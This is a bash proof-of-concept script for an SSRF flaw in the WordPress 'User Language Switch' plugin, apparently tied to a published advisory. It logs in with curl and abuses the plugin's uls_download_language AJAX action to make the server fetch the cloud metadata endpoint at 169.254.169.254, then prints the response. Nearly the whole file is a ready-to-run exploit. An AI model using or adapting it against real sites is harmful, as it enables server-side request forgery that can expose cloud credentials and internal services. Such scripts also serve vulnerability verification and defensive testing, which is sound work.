#!/usr/bin/env bash
# =====================================================
# POC - User Language Switch Plugin SSRF (GHSA-m38c-5p3m-p7gm)
# Version: 1.0
# Purpose: Educational & Local Testing Only
# =====================================================

set -euo pipefail

# ===================== CONFIG =====================
WP_URL="http://localhost:8080"                    # Change to your WordPress URL
USERNAME="admin"
PASSWORD="yourpassword123"                         # Change this!
TARGET_URL="http://169.254.169.254/latest/meta-data/"  # Test target
# ==================================================

echo "=== User Language Switch SSRF POC ==="
echo "Target WP : $WP_URL"
echo "SSRF Target: $TARGET_URL"
echo "========================================="

# Create temporary cookie jar
COOKIE_JAR=$(mktemp)

# 1. Login
echo "[+] Logging in as $USERNAME..."
curl -s -c "$COOKIE_JAR" \
    -d "log=$USERNAME" \
    -d "pwd=$PASSWORD" \
    -d "wp-submit=Log+In" \
    "$WP_URL/wp-login.php" > /dev/null

# Check if login was successful
if grep -q "wordpress_logged_in" "$COOKIE_JAR" || grep -q "wp-admin" "$COOKIE_JAR"; then
    echo "✅ Login successful"
else
    echo "❌ Login failed! Check URL, username and password."
    rm -f "$COOKIE_JAR"
    exit 1
fi

# 2. Trigger SSRF
echo "[+] Sending SSRF request..."
RESPONSE=$(curl -s -b "$COOKIE_JAR" \
    -H "Referer: $WP_URL/wp-admin/options-general.php?page=user-language-switch" \
    -d "action=uls_download_language" \
    -d "info_language=$TARGET_URL" \
    "$WP_URL/wp-admin/admin-ajax.php")

echo "[+] Server Response:"
echo "-----------------------------------------"
echo "$RESPONSE" | head -c 800
echo -e "\n-----------------------------------------"

# Cleanup
rm -f "$COOKIE_JAR"
echo "=== POC Finished ==="